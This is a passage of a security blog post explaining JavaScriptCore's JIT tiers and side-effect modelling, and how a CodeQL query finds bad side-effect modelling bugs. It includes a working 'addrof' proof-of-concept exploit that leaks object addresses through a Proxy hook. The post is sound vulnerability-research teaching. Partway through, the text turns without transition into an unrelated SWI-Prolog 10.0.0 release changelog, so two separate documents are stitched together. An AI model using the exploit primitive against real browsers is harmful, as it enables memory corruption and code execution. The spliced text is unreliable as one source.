  3. Low-Level Interpreter (LLInt) – At this phase, we already have a syntax tree representing our code. The LLInt will create bytecode that JSC can execute using the processor. For example, the expression “ a+b ” we’ve mentioned earlier is translated to bytecode that consists of the following offline assembly opcodes:
	add	loc3, loc1, loc2, OperandTypes(126, 126)


This is merely adding loc1 with loc2 and saving the result in loc3 . The OperandTypes holds metadata about the predicated types of loc1 and loc2 .

Figure 2 – The primary stages of JavaScript code goes through

JS Can Go FAST

While we mentioned earlier that there are only three stages in executing a JS instruction, reality suggests there are more stages. Browsers run thousands of lines of JS code on an average website, and usually, there are JS instructions that are in use in a much higher frequency than others. If we only had three stages as mentioned above, we would have to repeatedly execute the same instruction through the virtual machine, which causes a lot of unnecessary overhead. Therefore, JSC (and every other JS engine) uses Just-In-Time (JIT) compilation!

In case you’re not familiar with the concept, JIT compilation is the process of compiling a piece of code at runtime instead of the conventional way before execution. In our scenario, JSC will compile often-used instructions to native code that can be executed by our processor instead of compiling these instructions to bytecode run by the virtual machine.

This way, these often-used instructions now run with much lower overhead than before. One might say: “ If the overhead is a lot lower now, why not JIT compile every instruction ?”

And the answer to this question is straightforward: The process of JIT compiling is expensive (runtime speaking).

JSC creates a profile for each instruction using the LLInt (and other components mentioned later in this blog). Such profiling allows the engine to know which operations are used more often and to JIT to compile them.

Four Levels of JSC

We have discussed the basic workflow of executing instructions in JSC. Now it’s time to turn it up a notch. JSC executes instructions in four different tiers. As the rank of the tier goes up, the overhead of running that instruction goes down.

Instructions tier can level up/down during runtime. JSC holds an “ execution counter ” for each instruction, and each time we’ll execute that operation, JSC will add more points to their counter.

  • Leveling up to the second tier requires 500 points
  • Leveling up to the third tier requires 1,000 points
  • Leveling up to the fourth tier requires 100,000 points

The transition between tiers is linear. For example, to move from tier level 1 to tier level 3, the instruction must traverse through tier level 2 and only then to tier 3.

The four tiers are:

1. LLInt – The low-level interpreter, as mentioned earlier, this tier will compile JS instructions into bytecode.

2. Baseline JIT (500 points) – As the name might suggest, instructions that are executed under this tier will become JIT-ed. The baseline JIT compiles bytecode operations into native code using a template for each operation. There is no additional logic regarding the relation between other instructions or what’s on – only the template.

3. Data Flow Graph (DFG) JIT (1,000 points) – The DFG JIT has an intermediate representation (IR) that is later used by the DFG JIT compiler. The IR will translate the implemented code of a JS instruction into a data-flow graph (see example below). The DFG JIT compiler can now perform complex optimizations that have to do with the code’s flow. For example, let’s take a look at the following JS code snippet:

function Foo(arg) {
	return this.y * arg[0];
}


By calling Foo in a loop with approximately 1,000 iterations, we can force JSC to compile Foo into DFG JIT. To see the actual DFG IR produced for this code snippet, we can run the following line:

JSC_dumpGraphAtEachPhase=true ./WebKitBuild/Debug/bin/jsc ../dfgMe.js


The output from this command line contains hundreds of lines, and to keep things as simple as possible, we created a flow graph that represents the DFG IR produced by JSC:

figure 3

Figure 3 – Representing the short function Foo as a Data Flow Graph

OSRExit is a mechanism that allows JSC to downgrade the instruction’s tier. This is useful in the event that we add more optimizations to the execution process, i.e. we tell JSC to speculate more about what the operation can do.

For instance, JSC will speculate that the use of multiplication here is done by multiplying two integers. In reality, multiplying two integers is much less complicated than multiplying two objects, for example. Therefore, by speculating the argument types, JSC can add more impressive optimizations. In case JSC has been mistaken and guessed incorrectly, and the arguments types are not integers, JSC will perform OSRExit and level down the tier. This way, the new lower tier might have a more significant overhead, but the necessary checks will now remain.

4. Faster than Light (FTL) JIT (100,000 points) – Unlike the DFG JIT compiler, the FTL JIT focuses on optimizations regardless of how expensive the optimizing process might be. The FTL JIT reuses the optimizations that were done by the DFG JIT and will add many more.

Back to the Realm

Me : “Ohh.”
Goo the Owl: “And these blobs are going straight to the LLInt.”
Me : “Oof.”
Goo the Owl : “This is literally the shortest summary I could give on JSC.”
Me : “I understand why I never came here.”
Goo the Owl : “Wanna go back?”
Me : “No way, too committed by now. Let’s follow the blobs to the LLInt!” [Following the blobs]
Me : “I’ve noticed that when certain blobs slide through the LLInt, other blobs cut the line and slide before everyone else! Not cool…”
Goo the Owl : “Calm down, manners police. These blobs cut the line because they have to.”
Me : “What do you mean, ‘have to’?”
Goo the Owl : “Some instruction blobs cause side effects. This is perfectly normal in JS.”
Me : “Side effects? Sounds malicious to me.”
Goo the Owl : “As I said earlier, this is PERFECTLY NORMAL. Side effects in JS are…”
[QUICK CUT TO GOO ELABORATING ON SIDE EFFECTS IN JS]

Side Effects In JS

A JS operation causes side effects if it modifies the state of other variables outside the local environment of that instruction.

For instance, in JS, we can concatenate a string with a JS Object like this:

let a = "Hello" + {}
// a is now "Hello{}"


This concatenation will fail in most program languages, but not in JS. JSC will try to convert unique types (such as JSObject ) to a primitive type (e.g. String ). Let’s take a look at the function “ jsAdd, ” which is the implementation of the “ + ” operator:

ALWAYS_INLINE JSValue jsAdd(JSGlobalObject* globalObject, JSValue v1, JSValue v2)
{
   if (v1.isNumber() && v2.isNumber())
       return jsNumber(v1.asNumber() + v2.asNumber());
      
   return jsAddNonNumber(globalObject, v1, v2);
}


As we can see, if we try to add two numbers, JSC will simply add them and will return the value; otherwise, JSC calls the function jsAddNonNumber . The figure below represents the flow of jsAddNonNumber , while the input is . Each color represents the context of execution:

Figure 4 – The code flow of jsAddNonNumber while adding a String with a JSObject

We can see that jsAddNonNumber checks the types of the arguments (in our case, arg1 is a String and arg2 is a JSObject ) and then tries to convert them into primitive types (e.g., String , Number ).

By setting the property “ toString ” in our object (second argument), we could cause JSC to run arbitrary JS code that is not part of the conventional flow of the add operator, i.e., side effect:

let myObj = {'toString' : function(){print("side-effect here"); return "myX";}};

let a = "Hello " + myObj // this will print "side-effect here"
// a is "Hello myX"

DFG Optimizations: Redundancy Elimination

A widespread DFG JIT optimization is called redundancy elimination . The goal of this optimization is to eliminate redundant guards when compiling an instruction into DFG. To determine which guards are redundant, JSC needs to know which instructions can cause side effects and under which terms (e.g., concerning the argument types passed to the operations). This way, guards that appear before and after an instruction that can’t cause side effects will be considered redundant.

Let’s look at the following example:

function Foo(arg){
	return arg.someProp / arg.otherProp;
}


The flow graph that represents this function will look like the following:

Figure 5 – Phase 1 – Representing the function from above as DFG before removing redundant guards

You might notice that JSC checks that our argument is a valid object twice , before and after fetching for the property “ someProp. ” This guard makes sure that we still access a JS object before fetching a property from an object. In case JSC has successfully fetched the property “ someProp, ” the second check is redundant since there are no possible side effects between the first fetch to the second one. Therefore, the graph will then look like the following:

Figure 6 – Phase 2 – Representing the function from above as DFG after removing redundant guards

Since this optimization removes unnecessary guards, JSC must determine in a rigorous way which guards are redundant.

So, to avoid these vulnerable scenarios, JSC does precise modeling for each JS operation. The side effect modeling is in the file DFGAbstractInterpreterInlines.h under the function executeEffects . This function holds a (HUGE) switch case that determines which operation could\could not cause side effects and under which terms. Whenever JSC calls clobberWorld , it assumes that the operation can execute side effects:

Figure 7 – Basic side effects modeling in JSC (DFGAbstractInterpreterInlines.h/executeEffects). Each case represents the operation’s code (opcode)

Bad Side Effect Modeling: InstanceOf Vulnerability

A good use case that shows the risk potential of bad side effect modeling in JSC is the following bug. It was fixed in May 2018 right after commit 3b45a2433371160871a07d288b119b2454e3db19 (which is the last commit vulnerable to this bug). The patch to that vulnerability is quite simple:

Figure 8 – Patching the bug by letting JSC know that the operation instanceOf can cause side effects

This simple patch suggests that this bug has something to do with bad side effect modeling.

With the help of maxpl0it , we can review the exploit that triggers this bug:

class EmptyClass { };
var a = [13.37];
function TriggerClass() { };
var leakme = {};
var  trigger = false;
 
var handler = {
    getPrototypeOf(){
        if (trigger){
            a[0] = leakme;
        } 
        return EmptyClass.prototype;
    },
};
 
TriggerClass.prototype = new Proxy({}, handler);
 
function addrof(obj){
    var toggle = true;
 
    function addrof_internal(array){
        var _ = (new TriggerClass()) instanceof EmptyClass
        return array[0];
    }
 
    for (var i = 0; i < 10000; i++){
        addrof_internal(a);
 
    }
    trigger = true;
    return addrof_internal(a);
}
 
print(addrof(leakme));


The exploit uses classic JSC exploit primitives (leaking addresses using type confusion caused by a bug, AKA, addrof\fakeobj ) initially discovered by and mapped out in this great Oct. 2016 article. This exploit implements the function addrof that allows leaking JS object addresses.

From the patch, we can deduct that the operation “ InstanceOf ” wasn’t modeled correctly for side effects, but the real question is: why instanceOf can trigger side effects?

Well, the answer to that question lies in the exploit! We can see that by creating a proxy object that handles the function “ getPrototypeOf, ” we can trigger side effects. The operation that implements the JS instruction instanceOf is operationDefaultHasInstance .

size_t JIT_OPERATION operationDefaultHasInstance(ExecState* exec, JSCell* value, JSCell* proto) // Returns jsBoolean(True|False) on 64-bit.
{
    …
}


Note: The parameter “ value ” corresponds with the new instance of TriggerClass we create under “ addrof_internal.

The following flow chart describes why operationDefaultHasInstance causes side effects:

Figure 9 – Showing why OperationDefaultHasInstance can cause side effects

Fetching for the object prototype, without any guards or checks, allows us to replace the initial object (in our case, TriggerClass ) into a proxy object. By doing so, we can replace the function getPrototypeOf with our own arbitrary JS code, AKA side effects.

CodeQL Magic

[CodeQL Staff shines with bright blue light]
Goo the Owl : “What’s happening?! Is it going to explode?! I’m way too young to d…”
Me : “It’s not going to explode… -_-”
Me : “It found potential in what you’ve said earlier.”
Goo the Owl : “Potential? What do you mean?”
Me : “Well, you have explained pretty thoroughly about the whole bad side effect modeling, right?”
Goo the Owl : “Yeah, so what?”
Me : “What if we could use my CodeQL staff to find more bugs like this one in the realm?”
Goo the Owl : “That would be awesome.”
Me : “I think so too, and I think that this is what the staff wants me to do.”

CodeQL: Finding Bad Side Effect Modeling Vulnerabilities in JSC

CodeQL is a framework developed by Semmle and is free to use on open-source projects. It lets a researcher perform variant analysis to find security vulnerabilities by querying code databases generated using CodeQL, which supports many languages such as C/C++, C#, Java, JavaScript, Python and Golang.

Just in case you haven’t heard about CodeQL yet, I highly recommend reading my previous blog post, which dives into CodeQL and its capabilities.

Let’s try to write a CodeQL query that will find bad side effects modeling vulnerabilities in JSC. To begin with, here is a rough description of the bug:

A JS operation might be exposed to a bad side effect modeling bug if:

  1. Under the case that represents the operation in executeEffects ( DFGAbstractInterpreterInlines.h ), there is no call to clobberWorld.
  2. The operation causes side effect.

The best tip we can give you before writing CodeQL queries is to work as organized as possible. As your query’s complexity becomes higher, there is more room for it to fail somehow. Although this is probably true for every coding project you’ve worked on, debugging CodeQL queries can be much more difficult, since we don’t have classic debugging methods and tools that some of you might be familiar with (CodeQL simply doesn’t have any).

Let’s start by determining what data we need to extract with CodeQL to recognize the bugs we wish to find. The description of the bug above gives us a hint regarding what information we need to collect. After reading and analyzing the code, we created a diagram that shows which component does what in the JSC side effect modeling, and how the elements are linked

Then, I added an example to a possible side effect that an operation might have (same side effect as we showed in the InstanceOf bug, above):

Figure 10 – This diagram shows the logical connection between each component in JSC responsible for side effect modeling

With this diagram, we can start writing some CodeQL classes. Classes in CodeQL let you inherit from native CodeQL objects (e.g., VariableAccess , Function , Expr ) and add layers of complexity such as additional predicates and properties. The first class we created is named ClobberWorldCall , which inherits from the CodeQL class FunctionCall .

Ideally, this class will model side effects by analyzing each call to clobberWorld under executeEffects . Let’s review some key features from that class:

import cpp
import helperFunctions

class ClobberWorldCall extends FunctionCall{
    
    string opCode;
    string strictTypeConstraintsNode1;
    string strictTypeConstraintsNode2;
    string strictTypeConstraintsNode3;
    string looseTypeConstraintsNode1;
    string looseTypeConstraintsNode2;
    string looseTypeConstraintsNode3;
    // string operandType;

    ClobberWorldCall()
    {
        this.getTarget().hasName("clobberWorld")
        and
        exists
        (
            Function executeEffects |
            executeEffects.hasName("executeEffects")
            and
            this.getEnclosingFunction() = executeEffects
        )
        
        and
        // Extracting the op code for each call (e.g., ValueAdd, InstanceOf)
        opCode = getOpForClobberWorld(this)
        and

        // Extracting the strict and loose types
        getStrictTypeConstraints(this, strictTypeConstraintsNode1, strictTypeConstraintsNode2, strictTypeConstraintsNode3)
        and
        getLooseTypeConstraints(this, looseTypeConstraintsNode1, looseTypeConstraintsNode2, looseTypeConstraintsNode3)

    }
    
    …
        
}


Although this class seems short, a lot is going on inside it.

Our first predicate is quite simple – we look for all the calls to clobberWorld under executeEffects .

Then, we call our custom predicate getOpForClobberWorld , which works as follows:

  1. Get the basic block that contains the call to clobberWorld.
  2. If that basic block is under a case, return the case name (the case name is the operation code (for example, ValueAdd ).

After that, we call getStrictTypeConstraints , followed by a call to getLooseTypeConstraints , which was the most difficult bit to write.

To be as accurate and efficient as possible, JSC will sometimes call clobberWorld when specific argument types are passed to the operation. For example, adding two numbers in JS won’t cause side effects, but adding two objects may cause side effects. If JSC called clobberWorld when we simply call the add operation, it wouldn’t be efficient. So, JSC will check the argument types and only then decide whether it should call clobberWorld or not.

This is exactly where getStrictTypeConstraints and getLooseTypeConstraints come in handy.

Here is a snippet from the code that checks for strict constraints:

string getStrictTypeForClobberWorldChild(FunctionCall clobberWorld){
    if 
    (
        isClobberInsideSwitchCaseOrIfStatement(clobberWorld) = true
    )
    then
    (
        exists
        (
            SwitchCase case, SwitchStmt st, FunctionCall call |
            st = getInnerSwitchStatement(clobberWorld, "useKind")
            and
            st.getExpr() = call
            and
            call.getQualifier().(FunctionCall).getTarget().hasName("child1")
            and
            case.getSwitchStmt() = st
            and
            case.getASuccessor*() = clobberWorld
            and
            result = case.getExpr().toString()
        )
        or 
        …
    else 
        result = "noTypeConstraintsFound"
}


In this snippet, we see that we first check if the call to clobberWorld is under a (specific) Switch Case or an “if” statement.

If it is, then we analyze that very switch case/if statement.

In this example, we analyze the switch case. JSC can obtain argument types by several methods. For example, one of them is by calling the function useKind , which returns the argument type (mind-blowing). Our code from above should handle these types of cases:

case ArithClz32: {
        …
        switch (node->child1().useKind()) {
        case Int32Use:
        case KnownInt32Use:
            break;
        default:
            clobberWorld();
            break;
        }
        setNonCellTypeForNode(node, SpecInt32Only);
        break;
    }


Once we finished writing the clobberWorldCall class, we could confidently move on to the next class, dfgOperation .

Knowing exactly when JSC calls clobberWorld is not enough to ultimately model operations for side effects. Under the function executeEffects , there is no reference to the actual operation that holds the code we wish to analyze. All we have is the operation code, taken from the switch case under executeEffects .

So, in our next step, we will link the opcode (operation code) to the operation’s code under the hood. Once we can link these two, we can start analyzing the operation itself and look for possible side effects.

class DfgOperation extends Function{
    
    SwitchCase dfgEffectCase;
    FunctionCall dfgCallOperation;
    Function dfgCompile;
    string opCode;
    boolean isClobberWorldCalled;
    
    DfgOperation()
    {
        // Link the dfgOperation to the dfgCallOperation/dfgSlowCallOperation
        (
            (
                dfgCallOperation.getTarget().hasName("callOperation")
                and
                dfgCallOperation.getArgument(0) = this.getAnAccess()
            )
            or
            (
                dfgCallOperation.getTarget().hasName("slowPathCall")
                and
                dfgCallOperation.getArgument(2) = this.getAnAccess()
            )
        )
        and
        dfgCompile = getSpeculativeJitCompile()
        // We have 2 known options (all happens under the function SpeculativeJIT::compile):
        // 1) We call directly to the callOperation from the switch case
        // 2) We call to a wrapper function named compileSomeOperation from the switch case
        and
            (
                opCode = getOpCodeSimpleCase(dfgCallOperation)
                or
                opCode = getOpCodeByCompileOperation(dfgCallOperation)
            )
        and
 …
        // Find if ClobberWorld is called – Actual Linking Stage
        and 
        if exists
        (
            ClobberWorldCall clobber |
            clobber.getAnOpCode() = opCode
        )
        then isClobberWorldCalled = true
        else isClobberWorldCalled = false

    }

    …
}


Using the figure 10 diagram presented above, we understand that JSC can call an operation using the function callOperation or compile the operation and then call it.

So, in our query we first locate all the calls to callOperation / compileOperation, and then, similarly to the clobberWorldCall class, we find the operation code using switch cases or if statements.

Once that is done, we can safely link between the clobberWorld calls to the JS operations.

Finally, we need to choose which side effects we’re looking for because there are a few options. Since we reviewed earlier the bug in the operation InstanceOf , let’s look for all side effects caused by confusion with proxy objects (we recommend reading the comments):

from FunctionCall fc, VariableAccess jsObjectAccess, Parameter source, DfgOperation operation,  Expr asObjArg, Function compareTo
where
  // Extract all accesses to JSObjects
  isJsObject(jsObjectAccess.getTarget())
  and
  // fc represents all the function calls from a JSObject 
  fc.getQualifier() = jsObjectAccess
  and
  // Find functions from ProxyObject that share the function name as fc
  exists
  (
    Function fromProxy |
    fromProxy.getParentScope().toString() = "ProxyObject"
    and
    compareTo.getName() = fromProxy.getName()
    and
    fc.getTarget() = getFunctionWrappers(compareTo)
  )
  and
  // Make sure JSC does not call clobberWorld for that operation
  operation.hasACallToClobberWorld() = false
  and
  operation.getAParameter() = source
  and
  exists
  // Search for the following flow:
  // from: operation parameter
  // to: Converting the parameter to JSObject 
  //     or
  //     The parameter is already a JSObject
  // to: Calling a function from that parameter that exists under ProxyObject and JSObject

  (
    LinkOperationToExecVM config, FunctionCall asObject, ConvertToObjectAndCall config2| 
        (
          (
            asObject.getTarget().hasName("asObject")
            or
            asObject.getTarget().hasName("toObject")
          )
          and
          asObject.getAnArgument() = asObjArg
          and
          config.hasFlow(DataFlow::parameterNode(source), DataFlow::exprNode(asObjArg))
          and
          config2.hasFlow(DataFlow::exprNode(asObject), DataFlow::exprNode(jsObjectAccess))
        )
        or
        (
          asObjArg = jsObjectAccess.getTarget().getAnAccess()
          and
          config.hasFlow(DataFlow::parameterNode(source), DataFlow::exprNode(asObjArg))
        )
  )
select operation, source, fc, compareTo


Executing this query against a code database created from commit 35b181a20dc25749df383041f950798bd109f47d produced the following results:

Figure 11 – Results from our final query . The left column holds the names of the operations. The middle column shows which argument causes the side effects, and the right column shows which function we should hook using a proxy object.

We can see that there are five operations suspected to be bugs, and one of them is the bug we studied earlier – great!

Digging deeper through the results revealed a  second bad side effects modeling vulnerability, CVE-2018-4233 . The vulnerable operation is operationCreateThis . This vulnerability was found and exploited by Samuel Groß in pwn2own 2018. Samuel talked about this vulnerability in his Black Hat 2018 conference talk.

We’ve managed to find two critical vulnerabilities in JSC that could lead to RCE using a tailor-made CodeQL query. Running that query against a codebase created from an updated version of JSC shows that the two vulnerabilities previously found by our query no longer exist, meaning they were indeed patched. Keep in mind that it does not mean that there are no more vulnerabilities caused by bad side effect modeling. Adding small changes to our query will allow us to determine what kind of side effects we are looking for, and there could be lots of them.

Conclusion

What a journey we’ve had. Thanks to you, the realm is a lot safer now.

The truth is, I’ve been playing with CodeQL for the past year and I’ve been focused on finding classic vulnerabilities (in my previous blog, I focused on finding vulnerable calls to memcpy with CodeQL). This time, I wanted to see how effective it is to use CodeQL to find much-complicated vulnerabilities in large and tangled projects like WebKit.

I knew that this would not be an easy task, and indeed it wasn’t. But the most challenging part was learning and understanding the internals of JSC and not (as I initially thought) writing the query in CodeQL.

Once I had gained enough knowledge about the bugs I wanted to find, writing the query was pretty intuitive (I do have some experience with CodeQL by now, but still…) and fun.

Links & References

SWI-Prolog 10.0.0 released

Lobsters
swi-prolog.discourse.group
2025-12-04 07:52:53
Comments...
Original Article

SWI-Prolog 10.0.0 (stable) is ready for download. Below is the full
changelog since version 9.2.9, the previous stable version. Overall,
version 10 is closely compatible to version 9.2. It mainly provides a
lot of changes “under the hood”, updating the C code to support modern
standards and replacing platform specific code with portable
alternatives. As a result, the system behaves much more the same
regardless of the hosting OS as it did. Below are the highlights
of these changes.

  • CLEANUP: Remove traces of GNU readline

  • BUILD: Include script to build gcc version on MacOS

  • PORT: Support older gcc and clang versions that do not provide
    __auto_type

  • ENHANCED: On ELF systems that have objcopy , add the state as an
    ELF section. This makes the system a valid ELF executable on which
    all ELF tools work normally.

  • ADDED: qsave_program/2: option zip(true) to create a clean .zip file.

  • FIXED: #1414 crash in C_CUT due to reset clause pointer from undo/1.

  • MODIFIED: PIP-0105: write_term/2 option max_text to exclude ellipsis.
    As we already exclude the quotes and escape sequences, excluding the
    ellipsis is more consistent. After remarks by Joachim Schimpf.

  • FIXED: #1411 Windows issue for handling max_text on UTF-16 pairs.

  • TEST: Relax thread queue timeout tests and provide more accurate
    failure feedback.

  • FIXED: Save history for new directory using swipl-win

  • ENHANCED: On (Linux/Unix) systems with hot-pluggable CPU or running as
    virtual machines, the cpu_count Prolog flag should be set to the number
    of online processors (SC_NPROCESSORS_ONLN) instead of the configured
    maximum number (SC_NPROCESSORS_CONF). Using the online count avoids
    situations where cpu_count reflects offline or non-present CPUs. If
    SC_NPROCESSORS_ONLN is not defined by the system, we fall back to
    the old SWI-Prolog behaviour.

  • BUILD: show options in generated file

  • MODIFIED: write_term/2: max_depth(+Depth) to use Unicode
    If the encoding of the output supports Unicode. Otherwise the ASCII
    sequence ... is emitted.

  • ADDED: write_term/2: support max_text(+Length) for quoted output.

  • ADDED: PIP-0105: write_term/2 support for max_text(+Length) Actually
    called text_max in the proposal. Considering all other options
    and flags are named max_* , I think this should change.

    This commit only implements this option for unquoted atoms and strings.

  • FIXED: with_tty_raw/1: kept lock on stream.

  • ADDED: PIP-0105: write_term/2 option truncated(-Bool) . Bool
    is unified to true if the term has been truncated due to the
    max_depth option.

  • ADDED: PIP-0105 write_term/2 option portable(Bool)

  • DOC: Update CMAKE.md, section components

  • TEST: saved_states, disable timeout under MSYS2 ( #1406 ) * TEST:
    saved_states, disable timeout under Windows

    On Windows, stream timeout only works for sockets. * DIST: Added
    packages/libedit/libedit to tar archive

  • ADDED: Using the option --home=dir , set SWI_HOME_DIR .
    This ensures that sub processes can access Prolog’s home and, when
    calling Prolog, execute the same Prolog system.

  • TEST: Base saved-state tests on new prolog(Tool) option of
    process_create/3.

  • FIXED: Allow swipl -o exe -c input.pl to pass --home=dir
    option.

  • PORT: Properly install runtime dependencies for MSVC build This now
    depends in CMake > 3.21 install() option RUNTIME_DEPENDENCY_SET

  • PORT: Build swipl-win.exe under MSVC Now compiles cleanly.
    swipl.exe runs fine, including line editing. The GUI is unresponsive
    though.

  • FIXED: format/1-3: reset last tab stop on a newline. Spotted by
    Joachim Schimpf with the PIP tests.

  • ADDED: ansi_format/4, formatting with colours to a stream.

  • PORT: MSVC

  • MODIFIED: format/2 handling of non-list arguments Now, the second
    argument is only considered a single argument if it is not or [ | ].
    Notable partial lists or lists not ending in [] are now threaded as
    (invalid) argument list.

  • ENHANCED: Errors for arithmetic expression [Code] if list holds no
    single code.

  • PORT: MSVC compatibility.

  • TEST: Fixed test for format/2 ~6s .

  • DOC: format and friends. Move documentation of deprecated writef/2
    and friends to the library documentation. Updated the format/1-3
    documentation.

  • PIP: PIP-0110: make ~<n>s emit padding if text is too short.

  • TEST: Use swipl.bat for testing saved states on Windows. 1. allows
    for “external” swipl.bat under Windows (see swipl.sh in l. 133)
    2. invokes saved state with -x if swipl.bat is used

  • PORT: Work around broken MSVC

  • TEST: PIP-0110: added PIP format/2 tests.

  • COMPAT: Extended ECLiPSe test driver to accept should_output

  • MODIFIED: PIP-0110: format/2 using ~N to ignore the argument.
    Most implementations ignore the argument. Others interpret it
    inconsistently. New code should use ~N~2n as replacement for
    ~3N .

  • MODIFIED: PIP-0110: distributing extra spaces over ~t Used to
    distribute these spaces from the middle. Now distributes them from
    the right, compliant with SICStus and ECLiPSe.

  • ADDED: PIP-0110: format/2 format specifier F . This is like f ,
    but using uppercase letters for non-normal floats.

  • PIP: PIP-0110: format/2: ~a to only accept atoms and compact strings.

  • PIP: PIP-0110 (format) compatibility: handle expressions for *

  • PIP: PIP-0110: format/2: ~a to only accept atoms and compact strings.

  • PIP: PIP-0110 (format) compatibility: handle expressions for *

  • RELEASE: Merged development version

  • PORT: Better MacOS Homebrew support

  • FIXED: Typo in updated history code. Caused !/0 to be redefined …

  • FIXED: !<num> history handling if command contains a . in the
    middle.

  • FIXED: library(ansi_term): use initialization/1 If not used, the
    setup init_color_term_flag/0 will not run when using .qlf files.

  • MODIFIED: Use bool types for profiling API Should have low impact.
    Used by xpce.

  • FIXED: Disable Epilog if threads in single threaded version.

  • MODIFIED: halt/1: forward to main thread. If halt/1 is initiated
    from a thread other than main , main is signalled to terminate
    the process. If the main thread does not do so within the time
    specified by the Prolog flag halt_grace_time (default 1 second),
    the process is forcefully terminated.

  • MODIFIED: Commandline history handling. Comandline history handling
    used a double administration, both saving command as Prolog facts and
    in the commandline editor. Now the commandline editor is in charge.
    Visible changes to the user:

    • If library(editline) is not available, there is no history.
    • Without any settings, the history depth is 100. The fact that
      the history is enabled is shows using numbers in the prompt.
    • Substitution using e.g., !! , !<num> , etc. are always enabled.
    • Setting the Prolog flag history to 0 or false disables the
      history. An integer value sets the depth.
  • COMPAT: Use new prolog:message_action/2

  • ADDED: prolog:message_action/2 hook. This separates side effects on
    messages from printing messages, allowing side effects to take place
    even if an earlier print hook suppresses the message.

  • FIXED: Use library broadcast to tell other components of modified
    break-points.

  • TEST: Do not run the “unprotected” tests if protect_static_code
    is set.

  • FIXED: '$clause_from_source'/4 , used for setting break-points.

  • DOC: Do not run test_installation twice

  • ENHANCED: xref_source/2: emit warning on late meta_predicate/1 This
    directive must appear before the predicate is being used (called).

  • PPA: Added Ubuntu 25.10 (Questing Quokka)

  • FIXED: Install of non-qlf json compatibility wrappers.

  • ADDED: packages/json

  • ADDED: call_in_thread/3. Extends call_in_thread/2 with options.

  • DOC: term_size/2: cells are always 8 bit in recent versions.

  • ENHANCED: Messages for managing spy points.

  • ENHANCED: listing/0,1,2 to respect the terminal width. If the output
    is a terminal, tty_size/2 is used to determine the line width.

  • DOC: test_installation/0: document permission requirements on the
    working directory.

  • ADDED: Implement read_term/1: implement reading attributed and
    labeled terms. This patch supports Var{Attr: Value, …} if the
    Prolog flag var_tag is set to attvar . This allows reading terms
    with attributes. It also supports labeled subterms that allows to
    read terms that are directed graphs rather than trees. This includes
    cyclic terms. For this we reserve the attributed = . For example

    ?- A = X{= : f(X)}.
    

    Binds A to a cyclic term equivalent to executing X = f(X) . This is
    part of ongoing discussions in the PIP working group. It is currently
    implemented by ECLiPSe and SWI-Prolog.

  • DOC: Updates documentation for using of # anonymous dicts.

  • TEST: Update tests for use of # anonymous dicts

  • MODIFIED: Dict.put(Path, Value) : create new dicts as #{...} .

  • MODIFIED: select_dict/3 handling of # tag The # tag matches any tag
    at the other end and the dict holding the remainder has the # tag.

  • MODIFIED: write_term/2 using attributes(write) This now writes
    Var{Att1: Value1, Att2: Value2, ...} , which is valid syntax for
    read_term/2 if the Prolog flag var_tag is attvar .

  • ADDED: read_term/2 and friends to respect the new var_tag flag.

  • ADDED: Prolog flag var_tag Defines how Var{…} terms are
    interpreted. This commit only implements setting and getting the flag.

  • MODIFIED: :</2 and >:</2 : match # tag The tag # matches any
    tag on the other side without instantiating the tag.

  • FIXED: instantiation errors on prolog_frame_attribute/3 on exceptions.

  • FIXED: Exception details from '$tmp_file_stream'/4

  • ERROR: Domain error: encoding' expected, found txt’

    The txt does not make sense * CLEANUP: Fixed more compilation warnings
    when using -O3

  • BUILD: Fix PGO building for AppleClang

  • BUILD: Fix PGO build for Clang. This now does optimize.

  • BUILD: Changed default optimization for gcc to -O3 Earlier tests showed
    no noticeable difference, but using gcc-15 and setjmp()/longjmp out
    of the way we get about 15% improvement.

  • SANDBOX: Declare string quasi quotation syntax as safe.

  • TEST: Fix format_time/3 tests by setting correct timezone.

  • WASM: Set defaults for best performant build.

  • ENHANCED: Move setjmp() out of the VM main function Using setjmp()
    harms register allocation, which slows down the VM. Some data points:
    Clang: 6% (Clang-17 on Apple M1 as well as Clang-20 on AMD3950X),
    GCC: 13% (GCC-15 on AMD3950X), WASM: 35% (Emscripten 4.0.15 on Node.js
    22.19 on AMD3950X). MinGW-14: 18% (Windows binary running on AMD3950X
    under Wine).

  • TEST: Fixed ration number writing test to work regardless of flags.
    Test failed when run with rational_syntax set to natural .

  • ENHANCED: Get rid of setjmp/longjmp() in PL_next_solutions() This
    improves performance by about 12%. It does make a couple of scenarios
    for stack overflow handling impossible though. This patch merely
    introduces O_THROW as C macro to enable/disable this.

  • WASM: Make setting CFLAGS and LDFLAGS in BuildType.cmake work The
    if/elseif/… selection triggered on Clang.

  • WASM: Compile VM using -O2 This produces a smaller binary with
    slightly better performance.

  • WASM: When using a monolithic PL_next_solution(), use -O1 in
    Debug mode Otherwise local variables with non-overlapping scope are
    not merge, causing an Emscripten compiler error

  • WASM: Do not build swipl-win Also cleanup handling platform-dependent
    cmake options

  • FIXED: Provide random_property/1 when compiled with LibBF.

  • FIXED: When a REPL loop receives the halt/0,1 exception, make
    it return. Before, if non-threaded or the REPL loop runs in the
    main thread, terminate the process. Otherwise halt/0 was ignored.
    The behaviour for the main thread is still the same, but prolog/0
    succeeds in other threads if the thread calls halt/0.

    Possibly we should add a flag to control this behaviour, i.e. whether
    or
    not halt/0 inside prolog/0 terminates the process or merely the
    REPL loop.

  • DOC: Update most links to swipl-win and related functionality

  • PORT: Replace incomplete function pointer types by void* C11 and
    later do not allow for foreign_t (*function)() .

  • CLEANUP: Delete obolete components - snap build instructions -
    packages/swipl-win (Qt console) - Various files supporting this.

  • CLEANUP: Deletes Qt console.

  • CLEANUP: Remove old swipl-win.exe code.

  • PORT: Carefully detect that git is the sane thing on MacOS.
    With help from @ridgeworks

  • FIXED: Update library(threadutil) for Epilog support.

  • STYLE: dark theme: avoid navy_blue color for global predicates.

  • ENHANCED: Allow set_stream(S, alias(user_input)) without locking S.

  • CLEANUP: Synchronise handling of the tty_control flag between Windows
    and Unix. Needs further cleanup, notably a separate definition of
    the indexes for the boolean flags.

  • MODIFIED: Moved enabling ansi colors on the Windows console to be
    used only with tty control.

  • CLEANUP: Remove non-functioning PL_wait_for_console_input() This
    fixes Windows console input without the commandline editor.

  • FIXED: Handle command line argument --foreign=copy

  • FIXED: qsave_program/2 determinism.

  • FIXED: Parse -<base>'<digits> Reported by Joachim Schimpf. Thanks.

  • MODIFIED: MacOS: change default working dir of the app to ~/Prolog
    ~/Documents is subject to TCC (Transparency, Consent, and Control),
    showing a confirm dialog on any file access until we get SWI-Prolog
    signed.

  • DOC: clarify the use of Key and Priority in library(heaps)

  • CLEANUP: Avoid unused function warning when compiling for Windows
    without thraeds.

  • FIXED: #1381 building single threaded version for Windows.

